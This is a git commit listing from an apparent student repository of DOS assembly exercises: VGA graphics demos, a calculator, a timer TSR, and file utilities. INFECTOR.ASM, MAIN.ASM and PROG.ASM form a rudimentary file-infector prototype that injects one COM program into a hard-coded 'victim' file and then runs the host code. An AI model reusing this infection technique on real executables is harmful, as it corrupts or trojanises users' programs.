Innocenty Enikeew 9 лет назад
Сommit
24e8fa6487
100 измененных файлов с 10606 добавлено и 0 удалено
  1. 25 0
      ASM/!ALL/1.ASM
  2. BIN
      ASM/!ALL/123
  3. 93 0
      ASM/!ALL/12h.asm
  4. 130 0
      ASM/!ALL/3.ASM
  5. 73 0
      ASM/!ALL/CIRCLE.ASM
  6. BIN
      ASM/!ALL/CRYPT.COM
  7. 28 0
      ASM/!ALL/EXECER.ASM
  8. 16 0
      ASM/!ALL/HEXE.ASM
  9. 8 0
      ASM/!ALL/INCFE.ASM
  10. 65 0
      ASM/!ALL/INFECTOR.ASM
  11. 33 0
      ASM/!ALL/INP.ASM
  12. 17 0
      ASM/!ALL/JERTVA.ASM
  13. 116 0
      ASM/!ALL/LINE.ASM
  14. 70 0
      ASM/!ALL/MAIN.ASM
  15. 41 0
      ASM/!ALL/MYNAME.ASM
  16. 174 0
      ASM/!ALL/PROCS.ASM
  17. 31 0
      ASM/!ALL/PROG.ASM
  18. 17 0
      ASM/!ALL/TESTPROC.ASM
  19. 43 0
      ASM/!ALL/TIMER.ASM
  20. 125 0
      ASM/!ALL/TREUG.ASM
  21. 65 0
      ASM/!ALL/WOW.ASM
  22. 230 0
      ASM/!ALL/arcanoid.asm
  23. 46 0
      ASM/!ALL/bits.asm
  24. 44 0
      ASM/!ALL/bits2.asm
  25. 112 0
      ASM/!ALL/bmp.asm
  26. 24 0
      ASM/!ALL/border.asm
  27. 139 0
      ASM/!ALL/char.asm
  28. 17 0
      ASM/!ALL/cmdline.asm
  29. 145 0
      ASM/!ALL/crypt.asm
  30. 189 0
      ASM/!ALL/demo.asm
  31. 28 0
      ASM/!ALL/edit.asm
  32. 670 0
      ASM/!ALL/editor.asm
  33. 226 0
      ASM/!ALL/flame.asm
  34. 14 0
      ASM/!ALL/hack.asm
  35. 143 0
      ASM/!ALL/hookdump.asm
  36. 16 0
      ASM/!ALL/host.asm
  37. 109 0
      ASM/!ALL/infect.asm
  38. 25 0
      ASM/!ALL/initVGA.asm
  39. 28 0
      ASM/!ALL/interc.asm
  40. 8 0
      ASM/!ALL/keyb.asm
  41. 21 0
      ASM/!ALL/line2
  42. 111 0
      ASM/!ALL/line3
  43. 74 0
      ASM/!ALL/lines.asm
  44. 26 0
      ASM/!ALL/mail.asm
  45. 176 0
      ASM/!ALL/modem.asm
  46. 148 0
      ASM/!ALL/move.asm
  47. 87 0
      ASM/!ALL/mycopy.asm
  48. 85 0
      ASM/!ALL/pal.asm
  49. 82 0
      ASM/!ALL/palnew.asm
  50. 28 0
      ASM/!ALL/perem.asm
  51. 7 0
      ASM/!ALL/reboot.asm
  52. 25 0
      ASM/!ALL/simple.asm
  53. 206 0
      ASM/!ALL/string.asm
  54. 80 0
      ASM/!ALL/swap.asm
  55. 6 0
      ASM/!ALL/test.asm
  56. 102 0
      ASM/!ALL/write.asm
  57. BIN
      ASM/!SPBSTU/4sem/1.COM
  58. 172 0
      ASM/!SPBSTU/4sem/1.asm
  59. BIN
      ASM/!SPBSTU/4sem/2.EXE
  60. BIN
      ASM/!SPBSTU/4sem/2.TR
  61. 241 0
      ASM/!SPBSTU/4sem/2.as2
  62. 4 0
      ASM/!SPBSTU/4sem/2.txt
  63. 4 0
      ASM/!SPBSTU/4sem/Kursovik/2/2.txt
  64. 4 0
      ASM/!SPBSTU/4sem/Kursovik/2/2/2.txt
  65. BIN
      ASM/!SPBSTU/4sem/Kursovik/2/2/CODER.EXE
  66. BIN
      ASM/!SPBSTU/4sem/Kursovik/2/2/CODER.TR
  67. BIN
      ASM/!SPBSTU/4sem/Kursovik/2/2/COPYTO.TR
  68. BIN
      ASM/!SPBSTU/4sem/Kursovik/2/2/DECODER.EXE
  69. 8 0
      ASM/!SPBSTU/4sem/Kursovik/2/2/DECODER.MAP
  70. BIN
      ASM/!SPBSTU/4sem/Kursovik/2/2/DECODER.TR
  71. BIN
      ASM/!SPBSTU/4sem/Kursovik/2/2/Dldr.exe
  72. BIN
      ASM/!SPBSTU/4sem/Kursovik/2/2/HOST.TR
  73. 8 0
      ASM/!SPBSTU/4sem/Kursovik/2/2/ORIG.MAP
  74. 254 0
      ASM/!SPBSTU/4sem/Kursovik/2/2/ORIG.as2
  75. 285 0
      ASM/!SPBSTU/4sem/Kursovik/2/2/coder.as2
  76. 65 0
      ASM/!SPBSTU/4sem/Kursovik/2/2/copyTo.as2
  77. 586 0
      ASM/!SPBSTU/4sem/Kursovik/2/2/decoder.as2
  78. 1 0
      ASM/!SPBSTU/4sem/Kursovik/2/2/files.txt
  79. 393 0
      ASM/!SPBSTU/4sem/Kursovik/2/2/h2
  80. 486 0
      ASM/!SPBSTU/4sem/Kursovik/2/2/help
  81. 241 0
      ASM/!SPBSTU/4sem/Kursovik/2/2/host.as2
  82. BIN
      ASM/!SPBSTU/4sem/Kursovik/2/2/host.bak
  83. BIN
      ASM/!SPBSTU/4sem/Kursovik/2/2/host.exe
  84. 1 0
      ASM/!SPBSTU/4sem/Kursovik/2/2/pass.txt
  85. 589 0
      ASM/!SPBSTU/4sem/Kursovik/2/2/test.AS2
  86. BIN
      ASM/!SPBSTU/4sem/Kursovik/2/CODER.EXE
  87. BIN
      ASM/!SPBSTU/4sem/Kursovik/2/DECODER.EXE
  88. BIN
      ASM/!SPBSTU/4sem/Kursovik/2/DECODER.TR
  89. BIN
      ASM/!SPBSTU/4sem/Kursovik/2/GETNAME.TR
  90. BIN
      ASM/!SPBSTU/4sem/Kursovik/2/HOST.EXE
  91. BIN
      ASM/!SPBSTU/4sem/Kursovik/2/HOST.TR
  92. 312 0
      ASM/!SPBSTU/4sem/Kursovik/2/coder.as2
  93. 543 0
      ASM/!SPBSTU/4sem/Kursovik/2/decoder.as2
  94. 1 0
      ASM/!SPBSTU/4sem/Kursovik/2/files.txt
  95. 96 0
      ASM/!SPBSTU/4sem/Kursovik/2/getname.asm
  96. 393 0
      ASM/!SPBSTU/4sem/Kursovik/2/h2
  97. 486 0
      ASM/!SPBSTU/4sem/Kursovik/2/help
  98. 243 0
      ASM/!SPBSTU/4sem/Kursovik/2/host.as2
  99. 289 0
      ASM/!SPBSTU/4sem/Kursovik/2/interc.asm
  100. 254 0
      ASM/!SPBSTU/4sem/Kursovik/2/orig.asm

+ 25 - 0
ASM/!ALL/1.ASM

@@ -0,0 +1,25 @@
+.model small
+.code
+org 100h
+start:
+	mov ax, 12h
+	int 10h
+	push 0a000h
+	pop  es
+
+	mov dx, 3c5h
+	mov al, 2
+	out dx, AL
+	inc dx
+	mov al, 07h
+	out dx, al
+
+        or  ah, 00100100b
+        mov es:[0], ah
+
+	mov ah, 08h
+	int 21h
+	mov ax, 3h
+	int 10h
+	int 20h
+end start


+ 93 - 0
ASM/!ALL/12h.asm

@@ -0,0 +1,93 @@
+.286
+.model small
+.code
+org 100h
+start:
+	mov ax, 12h
+	int
+	 10h
+
+	mov cx, 0fh
+gg:	
+
+
+	mov ax, 100
+	mov bx, cx
+	call putpixel
+	inc ax
+	inc bx
+	call putpixel
+	loop gg
+
+	mov ah, 08h
+	int 21h
+	mov ax, 03
+	int 10h
+
+	mov ax, 4ch
+	int 21h
+
+putpixel proc near
+	pusha
+    push es
+    mov di, cx
+	push 0a000h
+	pop es
+
+	push bx
+	mov cl, 6
+	shl bx, cl
+	pop dx
+	shl dx, 4
+	add bx, dx
+	push ax
+	shr ax, 3
+	add bx, ax
+	pop ax
+    and ax, 7
+	mov cl, 7
+    sub cl, al
+    mov ax, 1
+    shl ax, cl
+    mov m1, al
+	mov offs, bx
+    xor cx, cx
+puts:
+	mov dx, 3ceh
+	mov ax, 5
+	out dx, ax
+	mov dx, 3c4h
+	mov ax, 100h
+	shl ax, cl
+	add ax, 2
+	out dx, ax
+
+	mov si, offs
+    mov al, es:[si]
+
+	mov bx, 1
+	shl bx, cl
+	test di, bx
+    jz	nwrt
+    or al, m1
+    jmp myout
+nwrt:
+	mov bl, m1
+	not bl
+    and al, bl
+myout:
+    mov es:[si], al
+	mov dx, 3c4h
+	mov ax, 0F02h
+	out dx, ax
+	inc cl
+	cmp cl, 4
+	jnz puts  
+
+	pop es
+	popa
+	ret
+m1		db ?
+offs	dw ?
+endp
+end start

+ 130 - 0
ASM/!ALL/3.ASM

@@ -0,0 +1,130 @@
+.286
+.model small
+.code
+org 100h
+;--------------------
+count equ     100
+delay equ     30
+startx equ    10
+starty equ    10
+sizex  equ    40
+sizey  equ    10
+;--------------------
+start:
+        mov ax, 13h
+        int 10h
+
+        mov curx, startx
+        mov cury, starty
+        mov cx, count
+lu:
+        mov ah, 06h
+        mov dl, 0ffh
+        int 21h
+        jnz  GAMEOVER
+        push curx
+        push cury
+        push offset face
+        push sizex
+        push sizey
+        call WriteSprite
+        mov ax, curx
+        cmp ax, 0
+        je toright
+b1:     add ax, sizex
+        cmp ax, 320
+        je toleft
+b2:     mov ax, cury
+        cmp ax, 0
+        je todown
+b3:     add ax,   sizey
+        cmp ax,   200
+        je toup
+        jmp gx
+toright:mov word ptr cs:[offset gx+4], 06h
+        jmp b1
+toleft : int 3
+       mov word ptr cs:[offset gx+4], 0Eh
+        jmp b2
+todown :mov word ptr cs:[offset gy+4], 06h
+        jmp b3
+toup : int 3
+     mov word ptr cs:[offset gy+4], 0Eh
+gx:     dec curx
+gy:     dec cury
+        push delay
+        call CoolWait
+        jmp lu
+
+gameover:
+          int 3
+        mov ax, 3h
+        int 10h
+        int 20h
+CoolWait        proc    near
+        push bp
+        mov bp, sp
+        push cx
+        mov cx, word ptr [bp+4]
+ggg:    push cx
+        mov cx, 0
+        loop $
+        pop cx
+        loop ggg
+        pop cx
+        pop bp
+ret 2
+endp
+
+WriteSprite proc near                   ;writesprite(x,y,char *sprt,razmx,razmy)
+    push bp
+    mov bp,sp
+razmy equ word ptr [bp+4]
+razmx equ word ptr [bp+6]
+sprt  equ word ptr [bp+8]
+posy  equ word ptr [bp+10]
+posx  equ word ptr [bp+12]
+    pusha
+    push es
+
+    mov ax, 0A000h
+    mov es, ax
+    mov ax, posy
+    mov bx, ax
+    shl ax, 8
+    shl bx, 6
+    add ax, bx
+    add ax, posx
+    mov di, ax
+    mov ax, sprt
+    mov si, ax
+    mov cx, razmy
+lup:
+    push cx
+    mov cx, razmx
+    repe movsb
+    add di, 320
+    sub di,razmx
+    pop cx
+    loop lup
+
+    pop es
+    popa
+    pop bp
+ret 10
+endp
+
+curx dw ?
+cury dw ?
+
+face    db 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0
+        db 0,1,1,1,1,1,1,1,1,0, 0,2,2,0,0,0,0,2,2,0, 0,0,0,3,3,3,3,3,0,0, 0,4,4,0,0,0,4,4,0,0
+        db 0,1,1,1,1,1,1,1,1,0, 0,2,2,0,0,0,0,2,2,0, 0,0,3,3,0,0,0,3,3,0, 0,4,4,0,0,4,4,0,0,0
+        db 0,1,1,0,0,0,0,0,0,0, 0,2,2,0,0,0,0,2,2,0, 0,3,3,0,0,0,0,0,0,0, 0,4,4,0,4,4,0,0,0,0
+        db 0,1,1,1,1,1,0,0,0,0, 0,2,2,0,0,0,0,2,2,0, 0,3,3,0,0,0,0,0,0,0, 0,4,4,4,4,0,0,0,0,0
+        db 0,1,1,1,1,1,0,0,0,0, 0,2,2,0,0,0,0,2,2,0, 0,3,3,0,0,0,0,0,0,0, 0,4,4,4,4,0,0,0,0,0
+        db 0,1,1,0,0,0,0,0,0,0, 0,2,2,0,0,0,0,2,2,0, 0,3,3,0,0,0,0,3,3,0, 0,4,4,0,4,4,0,0,0,0
+        db 0,1,1,0,0,0,0,0,0,0, 0,0,2,2,0,0,2,2,0,0, 0,0,3,3,0,0,3,3,0,0, 0,4,4,0,0,4,4,0,0,0
+        db 0,1,1,0,0,0,0,0,0,0, 0,0,0,2,2,2,2,0,0,0, 0,0,0,3,3,3,3,0,0,0, 0,4,4,0,0,0,4,4,0,0
+        db 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0
+end start

+ 73 - 0
ASM/!ALL/CIRCLE.ASM

@@ -0,0 +1,73 @@
+.286
+.model small
+.code
+org 100h
+start:
+		mov ax, 13h
+		int 10h
+		mov ax, 0a000h
+		mov es, ax
+;----------------------------------
+		mov X, 0
+		mov ax, rad
+		mov Y, ax
+		mov sum, 0
+writeloop:	mov ax, x
+		add ax, x0
+		push ax
+		mov ax, y0
+		sub ax, y
+		push ax
+		push 5
+		call plotpixel
+	      	inc x
+		mov ax, x
+		add sum, ax
+		mov ax, y
+		cmp sum, ax
+		jl endloop
+		mov ax, y
+		sub sum, ax
+		dec y
+endloop:        mov ax, rad
+		cmp x, ax
+		jle writeloop
+		mov ah, 08h
+		int 21h
+		mov ax, 3
+		int 10h
+		int 20h
+;----------------------------------------------
+x0	dw	100
+y0	dw	100
+x	dw	?
+y	dw	?
+rad	dw	20
+sum 	dw	?
+;-----------------------------------------------
+plotpixel	PROC NEAR
+	PUSH BP
+	MOV BP,SP
+plotcol equ word ptr [bp+4]
+ploty	equ word ptr [bp+6]
+plotx	equ word ptr [bp+8]
+	push ax
+	push bx
+	push si
+	mov ax, ploty
+	mov bx, ax
+	shl ax, 8
+	shl bx, 6
+	add ax, bx
+	add ax, ploty
+	mov si, ax
+	mov ax, plotcol
+	mov es:[si], al
+	pop si
+	pop bx
+	pop ax
+	pop bp
+	ret 6
+ENDP
+
+end start

BIN
ASM/!ALL/CRYPT.COM


+ 28 - 0
ASM/!ALL/EXECER.ASM

@@ -0,0 +1,28 @@
+.model small
+.code
+org 100h
+start:
+	mov ax, ds:[2ch]
+	mov EnvSEg, ax
+	mov ax, dx
+	mov word ptr ds:[cmdL+2], ax
+
+	mov ah, 4ah
+	mov bx, 30h
+	int 21h
+
+	mov ax, 4b00h
+	mov dx, offset fname
+	mov bx, offset EnvSeg
+	int 21h
+	int 20h
+
+fname db 'c:\windows\command\mem.exe',0
+EnvSeg	dw 0
+CmdLine dw offset cmdl
+	dw 0
+FCB1	dd 0
+FCB2	dd 0
+cmdl	db 7
+	db ' /C /P',0Dh
+end start

+ 16 - 0
ASM/!ALL/HEXE.ASM

@@ -0,0 +1,16 @@
+.model small
+.code
+
+  fake dw 500 dup (4)
+
+start:
+	push cs
+	pop ds
+	mov ah, 09h
+	mov dx, offset msg
+	int 21h
+
+	mov ah, 4ch
+	int 21h
+msg db 'Fuuckkk   UUuuuuuuuuuu',0dh,0ah,'Blah! Blah! Blah! Blah!$'
+end start

+ 8 - 0
ASM/!ALL/INCFE.ASM

@@ -0,0 +1,8 @@
+.model small
+.code
+org 100h
+start:
+	mov ah, 02
+	mov dl,	'a'
+	int 21h
+end start

+ 65 - 0
ASM/!ALL/INFECTOR.ASM

@@ -0,0 +1,65 @@
+.model small
+.code
+org 100h
+start:
+	mov ax,	3d02h
+	mov dx, offset fname1
+	int 21h
+	mov di, ax
+
+	mov ax,	3d00h
+	mov dx, offset fname2
+	int 21h
+	mov si, ax
+
+	mov ah, 3fh
+	mov bx, si
+	mov cx, 0FFFFh
+	mov dx,	OFFSET buffer
+	int 21h
+	mov size2, ax
+
+	mov ah, 3fh
+	mov bx, di
+	mov cx, size2
+	mov dx,	OFFSET buffer2
+	int 21h
+        
+	mov ax, 4200h
+	xor cx, cx
+	xor dx, dx
+	int 21h
+
+	mov ah, 40h
+	mov bx, di
+	mov cx, size2
+	mov dx, offset buffer
+	int 21h
+
+	mov ah, 42h
+	xor cx, cx
+	xor dx, dx
+	mov al, 2
+	int 21h
+
+	mov ah, 40h
+	mov bx, di
+	mov cx, size2
+	mov dx, offset buffer2
+	int 21h
+
+	mov bx, di
+	mov ah, 3eh
+	int 21h
+	mov bx, si
+	mov ah, 3eh
+	int 21h
+
+	int 20h
+fname1	db '11.com',0
+fname2	db 'incfe.com',0
+size2	dw ?
+buffer	db 300 dup (?)
+buffer2	db 300 dup (?)
+
+end start

+ 33 - 0
ASM/!ALL/INP.ASM

@@ -0,0 +1,33 @@
+.model small
+.code
+org 100h
+start:
+	mov ah,	3ch
+	mov cx,	0
+	mov dx,	offset fname
+	int 21h
+	jc  error
+	mov bx,ax
+
+loop1:	mov ah,	0Ah
+	mov dx,	offset leng
+	int 21h
+	mov di,	offset reals
+	cmp byte ptr [di],0
+	je inend
+	mov di,	offset reals
+	mov cl,	[di]
+	mov ch,	0
+	mov dx,	offset inpstr
+	mov ah,	40h
+	int 21h
+	jmp loop1
+
+inend:	mov ah,	3eh
+	int 21h
+error:	int 20h	
+fname	db 'text.txt',0
+leng	db 128
+reals	db ?
+inpstr	db 128 dup (?)  
+end start

+ 17 - 0
ASM/!ALL/JERTVA.ASM

@@ -0,0 +1,17 @@
+.model small
+.code
+.286
+jumps
+org 100h
+
+start:	mov 	ah, 9h
+	mov 	dx, offset msg
+	
+	int	21h
+	int 	20h
+
+msg	db	'If you want to do something good - do it yourself!!!',13,10
+	db	'Fuck you bad moth.... errrfdsfsdfsfasf asfd dsf dsf sdf ',13,10
+	db	'sdfs f dsf fdsfd safd ad$'
+
+end start

+ 116 - 0
ASM/!ALL/LINE.ASM

@@ -0,0 +1,116 @@
+.286
+.model small
+.code       
+org 100h
+start:
+		mov ax, 13h
+		int 10h
+		mov ax, 0a000h
+		mov es, ax
+
+		mov cx, 19h
+hh:
+		push 1
+		push 0
+		push 0
+		push 319
+		mov ax, cx
+		shl ax, 3
+		push ax
+		call Line
+		loop hh
+
+		mov ah, 08h
+		int 21h
+
+		mov ax, 3
+		int 10h
+		int 20h
+;------------------------------
+Line 		proc 	near
+	push bp
+	mov  bp,sp
+LY2 EQU		word ptr [bp+4]
+LX2 EQU		word ptr [bp+6]
+LY1 EQU		word ptr [bp+8]
+LX1 EQU		word ptr [bp+10]
+COL EQU		word ptr [bp+12]
+	pusha
+		mov ax, LX2
+		sub ax, LX1
+		jg LLX
+		neg ax
+		mov si, LX2
+	    mov mybeg, si
+		jmp TOY
+LLX:
+		mov si, LX1
+	    mov mybeg, si
+TOY:	mov bx, LY2
+		sub bx, LY1
+		jg LLY
+		neg bx
+	    mov otbeg, si
+		jmp TOW
+LLY:
+		mov si, LY1
+	    mov otbeg, si
+TOW:	cmp bx, ax
+		jl	MYX
+		mov cx, mybeg
+		mov si, otbeg
+		mov mybeg, si
+		mov otbeg, cx
+		mov ifY, 1
+		xchg ax, bx
+MYX:	mov gend, ax
+		mov ots,  bx
+mainloop:
+		mov ax, ots
+		mov bx, cur
+		mul bx
+		mov bx, gend
+		div bx
+		mov dx, ax
+		add dx, otbeg
+		cmp ifY, 0
+		jz  defs
+		mov ax, mybeg
+		add ax, cur
+        mov cx, ax
+        shl ax, 6
+        shl cx, 8
+        add ax, cx
+        add ax, dx
+        mov si, ax
+        mov ax, COL
+        mov byte ptr es:[si], al
+        jmp GGG
+defs:
+		mov cx, dx
+        shl dx, 6
+        shl cx, 8
+        add dx, cx
+        add dx, mybeg
+        add dx, cur
+        mov si, dx
+        mov ax, COL
+        mov byte ptr es:[si], al
+GGG:
+		inc cur
+		mov ax, cur
+		cmp ax, gend
+		jle mainloop
+	popa
+	pop bp
+	mov word ptr cur, 0
+	mov byte ptr ifY, 0
+	ret 10
+ifY		db 0
+mybeg	dw ?
+otbeg	dw ?
+cur		dw 0
+gend	dw ?
+ots		dw ?
+endp
+end start

+ 70 - 0
ASM/!ALL/MAIN.ASM

@@ -0,0 +1,70 @@
+.model small
+.code
+.286
+jumps
+org 100h
+
+
+start:	mov	ax, 3d02h
+	mov	dx, offset _pname
+	int 	21h
+	
+	mov	bx, ax
+	mov 	ah, 3fh
+	mov 	cx, 10000
+	mov 	dx, offset buffer1
+	int 	21h
+	mov 	_jsize, ax
+	mov 	ah, 3eh
+	Int 	21h
+
+	mov	ax, 3d02h
+	mov	dx, offset _jname
+	int 	21h
+
+	mov	bx, ax
+	mov 	ah, 3fh
+	mov 	cx, _jsize
+	mov 	dx, offset buffer2
+	int 	21h
+
+	mov ax,4202h
+	mov cx,0
+	mov dx,0
+	Int 21h
+	mov	_psize, ax
+
+	mov	ax, _jsize
+	mov	word ptr [buffer1 + 2], ax
+	mov	ax, _psize
+	mov	word ptr [buffer1 + 4], ax
+
+	mov 	ah, 40h
+	mov 	cx, _jsize
+	mov 	dx, offset buffer2
+	int 	21h
+
+	mov ax,4200h
+	mov cx,0
+	mov dx,0
+	Int 21h
+
+	mov 	ah, 40h
+	mov 	cx, _jsize
+	mov 	dx, offset buffer1
+	int 	21h
+
+	mov 	ah, 3eh
+	Int 	21h
+
+	mov 	ax, 4ch
+	int 	21h	
+	
+_jname 	db	'jertva.com',	0	
+_pname	db	'prog.com',	0	
+buffer1 db 	10000 dup (?)
+buffer2 db 	10000 dup (?)
+_psize	dw	?
+_jsize	dw	?
+
+end start

+ 41 - 0
ASM/!ALL/MYNAME.ASM

@@ -0,0 +1,41 @@
+.286
+.model small
+.code
+org 100h
+start:
+	mov ax, word ptr ds:[2ch]
+	mov es, ax
+	xor si, si
+gg:	cmp word ptr es:[si], 0
+	jz myname
+	inc si
+	jmp gg
+myname: add si, 4
+	push es
+	push si
+	call puts
+	int 20h
+
+puts proc near
+push bp
+mov bp, sp
+	pusha
+	push es
+	mov bx, word ptr [bp+4]
+	mov ax, word ptr [bp+6]
+	mov es, ax
+	mov si, bx
+	mov ah, 02h
+wrt1:	mov dl, es:[si]
+	test dl, dl
+	jz coolex
+	int 21h
+	inc si
+	jmp wrt1
+coolex:
+	pop es
+	popa
+pop bp
+ret 	4
+endp
+end start

+ 174 - 0
ASM/!ALL/PROCS.ASM

@@ -0,0 +1,174 @@
+.model small
+.code
+org 100h
+start:	
+        mov ah, 0Ah
+	mov dx,	offset isize
+	int 21h
+
+	mov di,	offset iinp
+	mov si,	offset num1
+
+loop3:	cmp byte ptr [di], ' '
+	je num1end1
+	cmp byte ptr [di], '+'
+	je num1end2
+	cmp byte ptr [di], '-'
+	je num1end2
+	cmp byte ptr [di], '*'
+	je num1end2
+	cmp byte ptr [di], '/'
+	je num1end2
+
+	mov al, [di]
+        mov [si], al
+	inc si
+	inc di
+	jmp loop3
+num1end1:
+	inc di
+	cmp byte ptr [di], '+'
+	je num1end2
+	cmp byte ptr [di], '-'
+	je num1end2
+	cmp byte ptr [di], '*'
+	je num1end2
+	cmp byte ptr [di], '/'
+	je num1end2
+
+num1end2:
+	mov byte ptr [si], 0
+	mov si,	offset deyst
+	mov al,	[di]
+	mov [si], al
+	inc di
+
+loop4:	cmp byte ptr [di], ' '
+	jne num2beg
+	inc di
+	jmp loop4
+num2beg:mov si,	offset num2
+loop5:	mov al, [di]
+        mov [si], al
+	inc si
+	inc di
+	cmp byte ptr [di], 0Dh
+	je rends
+	jmp loop5
+rends:	mov byte ptr [si], 0
+	mov si,	offset num2
+	call StrToByte
+	PUSH ax
+	mov si,	offset num1
+	call StrToByte
+	POP BX
+;---------------------------------------
+	mov di,	offset deyst
+	cmp byte ptr [di],'*'
+	je umnoch
+	cmp byte ptr [di],'+'
+	je plus
+	cmp byte ptr [di],'-'
+	je minus
+	mov ah,	0
+	div bl
+	mov dl,	al
+	jmp prints
+umnoch: mul bl
+	mov dl,	al
+	jmp prints
+
+plus:	add al, bl
+	mov dl,	al
+	jmp prints
+
+minus:	sub al, bl
+	mov dl,	al
+
+prints:	PUSH	dx
+	mov ah,	02h
+	mov dl,	0dh
+	int 21h
+	mov ah,	02h
+	mov dl,	0ah
+	int 21h
+	POP dx
+	call print_dec
+	int 20h
+;print_char
+	print_char	proc	near
+	mov ah, 02h
+	int 21h
+	ret
+	endp
+;print_dec	
+	print_dec	proc	near
+
+	mov di,	offset outp
+	mov al, dl
+	mov ah, 0
+	mov bl,	100
+	mov cx,	2
+
+loop1:	div bl
+	PUSH ax
+	cmp al,	0
+	je dontadd
+
+	mov dl, al
+	mov dh,	0
+	add dx, '0'
+	mov byte ptr [di], dl
+	inc di
+
+dontadd:
+	mov dl,	10
+	mov ah,	0
+	mov al,	bl
+	div dl
+	mov bl,	al
+	POP ax
+	mov al,	ah
+	mov ah, 0
+	loop loop1 
+
+	mov dl, al
+	mov dh,	0
+	add dx, '0'
+	mov byte ptr [di], dl
+	inc di
+	mov byte ptr [di], '$'
+	mov ah,	09h
+	mov dx,	offset outp
+	int 21h
+	ret
+	endp
+;StrToByte
+	StrToByte	proc	near
+	mov bl,	0
+	mov al,	[si]
+	sub al,	'0'
+loop2:  PUSH ax
+	mov al,	10
+	mul bl
+	mov bl, al
+	POP ax
+	add bl, al
+	inc si
+	mov al,	[si]
+        cmp al,	0
+	je fends
+	sub al,	'0'
+	jmp loop2
+fends:  mov al, bl
+	ret
+	endp
+
+outp 	db 4 dup (?)
+isize	db 10
+ireal	db ?
+iinp	db 10 dup (?)
+num1	db 4 dup (?)
+num2	db 4 dup (?)
+deyst	db ?
+end start

+ 31 - 0
ASM/!ALL/PROG.ASM

@@ -0,0 +1,31 @@
+.model small
+.code
+.286
+org 100h
+
+start:	jmp	short	begin
+_jsize	dw	0
+_psize	dw	0
+
+begin:
+	mov 	ah, 9h
+	mov 	dx, offset msg
+	int	21h
+
+	mov 	si, _psize
+	add 	si, 100h
+	mov	di, 100h
+	mov	cx, _jsize
+	cld
+	push	100h
+	mov	ax, word ptr ds:[comm1]
+	mov	ds:[0f000h], ax
+	mov	al, byte ptr ds:[comm1 + 2]
+	mov	ds:[0f002h], al
+	push	0f000h
+	ret
+comm1:	rep 	movsb
+	ret
+	
+msg	db	'fido$'	
+end start

+ 17 - 0
ASM/!ALL/TESTPROC.ASM

@@ -0,0 +1,17 @@
+.model small
+.code
+org 100h
+start:
+	call print
+	call print
+	call print 
+	int 20h
+
+	print proc near
+	mov ah, 02h
+	mov dl,	'*'
+	int 21h
+	ret
+	endp
+	
+end start

+ 43 - 0
ASM/!ALL/TIMER.ASM

@@ -0,0 +1,43 @@
+.model small
+.code
+ORG 100h
+start:
+        mov ax, 351ch
+        int 21h
+
+        mov ofs_1c, bx
+        mov seg_1c, es
+
+        mov ax, 251ch
+        mov dx, offset int_1c
+        int 21h
+
+        mov ah, 31h
+        mov dx, 50h
+        int 21h
+
+int_1c: 
+	inc cnt
+	cmp cnt, 39
+	je wrt
+        jmp     dword ptr ofs_1c
+wrt:	push ax
+	push bx
+	push es
+	mov cnt, 1
+	mov ax,	0b800h
+	mov es, ax
+	mov bx,	from
+	inc from
+	mov bx,	[bx]
+	mov es:[0], bx
+	pop es
+	pop bx
+	pop ax
+        jmp     dword ptr ofs_1c
+
+cnt	db 0	
+ofs_1c 	dw 0
+seg_1c 	dw 0
+from	dw 0
+end start

+ 125 - 0
ASM/!ALL/TREUG.ASM

@@ -0,0 +1,125 @@
+.286
+.model small
+.code       
+org 100h
+start:
+		mov ax, 13h
+		int 10h
+		mov ax, 0a000h
+		mov es, ax
+
+		push 1
+		push 1
+		push 20
+		push 20
+		call Line
+
+		push 20
+		push 20
+		push 30
+		push 70
+		call Line
+
+		push 30
+		push 70
+		push 1
+		push 1
+		call Line
+
+		mov ah, 08h
+		int 21h
+
+		mov ax, 3
+		int 10h
+		int 20h
+;------------------------------
+Line 		proc 	near
+	push bp
+	mov  bp,sp
+LY2 EQU		word ptr [bp+4]
+LX2 EQU		word ptr [bp+6]
+LY1 EQU		word ptr [bp+8]
+LX1 EQU		word ptr [bp+10]
+	pusha
+		mov ifY, 0
+		mov cur, 0
+
+		mov ax, LX2
+		sub ax, LX1
+		jg LLX
+		neg ax
+		mov si, LX2
+	    mov mybeg, si
+		jmp TOY
+LLX:
+		mov si, LX1
+	    mov mybeg, si
+TOY:	mov bx, LY2
+		sub bx, LY1
+		jg LLY
+		neg bx
+	    mov otbeg, si
+		jmp TOW
+LLY:
+		mov si, LY1
+	    mov otbeg, si
+TOW:	cmp bx, ax
+		jl	MYX
+		mov cx, mybeg
+		mov si, otbeg
+		mov mybeg, si
+		mov otbeg, cx
+		mov ifY, 1
+		push ax
+		mov ax, bx
+		pop bx
+MYX:	mov gend, ax
+		mov ots,  bx
+mainloop:
+		mov ax, ots
+		mov bx, cur
+		mul bx
+		mov bx, gend
+		div bx
+		mov dx, ax
+		add dx, otbeg
+		cmp ifY, 0
+		jz  defs
+		mov ax, mybeg
+		add ax, cur
+        mov cx, ax
+        shl ax, 6
+        shl cx, 8
+        add ax, cx
+        add ax, dx
+        mov si, ax
+        mov ax, COL
+        mov byte ptr es:[si], al
+        jmp GGG
+defs:
+		mov cx, dx
+        shl dx, 6
+        shl cx, 8
+        add dx, cx
+        add dx, mybeg
+        add dx, cur
+        mov si, dx
+        mov ax, COL
+        mov byte ptr es:[si], al
+GGG:
+		inc cur
+		mov ax, cur
+		cmp ax, gend
+		jle mainloop
+	popa
+	pop bp
+	ret 8
+ifY		db 0
+mybeg	dw ?
+otbeg	dw ?
+cur		dw 0
+gend	dw ?
+ots		dw ?
+endp
+COL	dw 4
+end start

+ 65 - 0
ASM/!ALL/WOW.ASM

@@ -0,0 +1,65 @@
+.Model Huge
+.386
+.Stack 100h
+
+             .Code
+             mov     ax,cs
+             mov     ds,ax
+             mov     es,ax
+
+             mov     ax,3d02h
+             mov     dx,offset cs:fname              ; DX=*FileName
+             int     21h                             ; DOS/FileOpen
+             jc      errorlbl                        ; Jump On Errors
+
+             mov     word ptr [offset cs:fname],ax   ; BX=Handle
+             mov     bx,ax
+
+             mov     ax,4200h
+             xor     cx,cx                           ; Segment
+             mov     dx,36dfh                        ; Offset
+             int     21h                             ; DOS/FileSeekSet
+             jc      errorlbl                        ; Error !
+
+             mov     ax,4000h
+             mov     bx,word ptr [offset fname]      ; BX=Handle
+             mov     cx,1                            ; Lenght
